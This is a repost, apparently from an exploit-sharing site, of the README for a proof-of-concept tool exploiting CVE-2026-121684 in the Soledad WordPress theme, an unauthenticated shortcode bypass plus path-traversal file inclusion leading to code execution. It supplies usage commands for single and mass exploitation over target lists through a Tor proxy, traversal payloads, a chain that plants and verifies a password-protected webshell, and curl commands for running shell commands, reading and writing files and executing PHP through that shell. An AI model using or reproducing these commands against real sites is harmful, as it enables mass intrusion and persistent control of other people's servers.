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CVE-2026-121684 — PoC and lab for CVE-2026-121684: unauthenticated Soledad WordPress theme shortcode-allowlist bypass and path-traversal LFI leading to RCE, with scan, exploit and webshell chain modes. | Kitploit
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im0xfay/cve-2026-121684

CVE-2026-121684

PoC and lab for CVE-2026-121684: unauthenticated Soledad WordPress theme shortcode-allowlist bypass and path-traversal LFI leading to RCE, with scan, exploit and webshell chain modes.

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CVE-2026-121684 — Soledad <= 8.7.7 unauth RCE

Unauthenticated Remote Code Execution in the Soledad WordPress theme via a penci_more_post_ajax shortcode-allowlist bypass and a penci-featured-sliders path-traversal local file inclusion.

  • Advisory: https://www.wordfence.com/threat-intel/vulnerabilities/id/bb3fe92d-adf8-4ab7-bc1a-9cf78ea4412f
  • Full write-up: CVE-2026-121684-report.md
  • Root cause / chain: notes/root-cause.md
  • Self-attack record: notes/self-attack.md

Requirements

pip install requests

Python 3.10+.

Usage

The interactive menu is the primary entry point. It asks for k on every option that can reach the sink, because k is the one thing the tool cannot find by itself:

$ python3 poc.py
  1) single scan     (fingerprint + version + nonce, no exploit)
  2) single exploit  (reach code execution on one target)
  3) mass scan       (targets.txt, scan only)
  4) mass exploit    (targets.txt, full chain)
  5) shell chain     (plant + execute + verify 0xfay webshell, one target)
  0) exit

  (options 2 and 5 also ask for an "extra include path" — the path to an
   includable PHP file, relative to the widget directory and WITHOUT .php)

Lab-verified end to end: menu option 2 + a valid k + an includable file → [RCE] with the payload's own output as proof. Without k the same target reports LOCKED-NO-K; with a valid k on the patched build, PATCHED.

Flags (scripting / automation):

python3 poc.py -u http://target --scan-only
python3 poc.py -u http://target --exploit --k <elementor-id> --nonce <nonce>
python3 poc.py -u http://target --exploit --style ../../../../../../../../wp-content/uploads/0xfay
python3 poc.py -u http://target --exploit --shell payloads/ws.php --shell-pass <pw>
python3 poc.py -l targets.txt --exploit --threads 20 --proxy socks5://127.0.0.1:9050
FlagMeaning
--scan-onlynever fires the exploit path
--kElementor element-cache id (the k= shortcode attribute); auto-discovered when possible
--noncepenci_more_post_ajax nonce; auto-discovered from the site
--styleextra includable path (no .php) to try for code execution; repeatable
--shell / --shell-passverify a planted 0xfay webshell through the sink
--threadsmass-mode concurrency (default 10)
--proxy, --verify-tlstransport options
--no-resumeignore out/checkpoint.jsonl

Status tags

TagMeaning
VULNallowlist bypass reaches the sink (include() executed or proven reachable)
LFIinclude() control confirmed, no executable payload found
RCEattacker PHP executed (unique marker observed in the response)
PWNverified webshell answering over HTTP
LOCKED-NO-Knested tag reaches the sink, but Elementor's k (site-wide md5, compared with !==) is not exposed anywhere on the site. Not "waiting for a value": without k the widget renders nothing and the sink is unreachable. Supply --k only if obtained out of band.
ASSUMEDa prerequisite could not be confirmed — reason printed, never upgraded silently
PATCHEDthe nested tag is rejected: the bypass does not work
BLOCKEDthe nonce was rejected by the target
SAFEnot a Soledad front end
ERRtransport/HTTP failure

Output: one line per target on stdout, out/results.jsonl (one JSON object per target) and out/success.txt (VULN/LFI/RCE/PWN only), both flushed per line.

Prerequisites (all four must hold)

  1. Soledad <= 8.7.7.
  2. Elementor active — the theme only registers the widget and shortcode when ELEMENTOR_VERSION is defined.
  3. A public penci_more_post_ajax nonce (printed to visitors when penci_page_navigation_ajax is enabled).
  4. An includable PHP file the attacker controls (the include executes files, it does not create them).

Webshell chain (one command)

CVE ini LFI murni — include "{style}.php" menjalankan file yang sudah ada. Untuk berakhir di webshell, poC menanam payload dulu (stage plant), lalu mengeksekusinya lewat sink, lalu memverifikasi shell hidup:

python3 poc.py -u http://target --exploit \
  --shell payloads/ws.php --shell-pass <pw> \
  --plant-url http://target/<upload-endpoint> --plant-field file

Menu: pilihan 5) shell chain.

Vektor plant yang didukung, dicoba berurutan:

VektorFlagSyarat
WP REST media upload--cookies "<session cookie>"sesi terautentikasi
XML-RPC wp.uploadFile--plant-user / --plant-passkredensial
endpoint unggah spesifik target--plant-url / --plant-fieldbug tulis hasil recon

Bila tak ada vektor yang tersedia, verdict tetap jujur di [LFI] — bukan RCE palsu.

Output sukses

[PWN] | http://target | soledad=8.7.7 | marker=0xfay-shell-xxxx |
       0xfay webshell live at /wp-content/uploads/0xfay595931ed.php (login POST p=<pw>)

results.jsonl untuk baris itu memuat parameter shell lengkap:

"evidence": {
  "plant": "custom-endpoint",
  "exec_style": "../../../../../../../../wp-content/uploads/0xfay595931ed",
  "exec_out": "0xfay-shell-121684",
  "shell_url": "http://target/wp-content/uploads/0xfay595931ed.php",
  "shell_pass": "<pw>",
  "shell_param": "c",
  "shell_cmd": "http://target/wp-content/uploads/0xfay595931ed.php?c=<cmd>"
}

Memakai shell

# login (ambil cookie sesi)
curl -c ck -d 'p=<pw>' 'http://target/wp-content/uploads/0xfay595931ed.php'

# eksekusi perintah
curl -b ck 'http://target/wp-content/uploads/0xfay595931ed.php?c=id'
#   uid=33(www-data) gid=33(www-data) groups=33(www-data)

# fitur lain: ?ls=1&d=<dir>  ?read=<file>  ?write=<file>&body=<isi>  ?php=<kode>  upload multipart

What the gate actually measures (and why the old verdict was wrong)

An earlier build of this tool decided "vulnerable" by comparing two differently shaped bodies (a bypass shape versus a literal nested shape) and calling any difference a bypass. Measured on the lab, that reasoning is invalid: the difference it detected came from post queries and re-issued nonces, not from the allowlist. It produced VULN-PENDING-K on almost every target, including sites whose http:// and https:// URLs disagreed with the same nonce.

The lab also settled what the sink actually looks like. do_shortcode() expands the nested elementor-element tag, so the raw tag is never in the response:

knested tag in responsewidget markupbody length
correctexpanded awaypenci-block-el present~18 800
wrongexpanded to nothing, tag vanishesabsent~12 800

So "the tag survived" is unobservable, and "the bodies differ" is noise. The gate now varies exactly one thing — the nested body's own marker — and uses a wrong k as the control that proves what "consumed and produced nothing" looks like:

probepurpose
S1 bypass shape with a per-call marker, random kdoes the nested tag reach the sink at all
S2 identical shape, deliberately wrong kbaseline: tag consumed, widget emits nothing

Verdicts that follow:

buildS1S2verdict
vulnerable + valid kwidget rendersnothingsink reached → chain continues
vulnerable + no k on the sitenothingnothingLOCKED-NO-K
fixednothingnothingPATCHED (only after the stability check passes)
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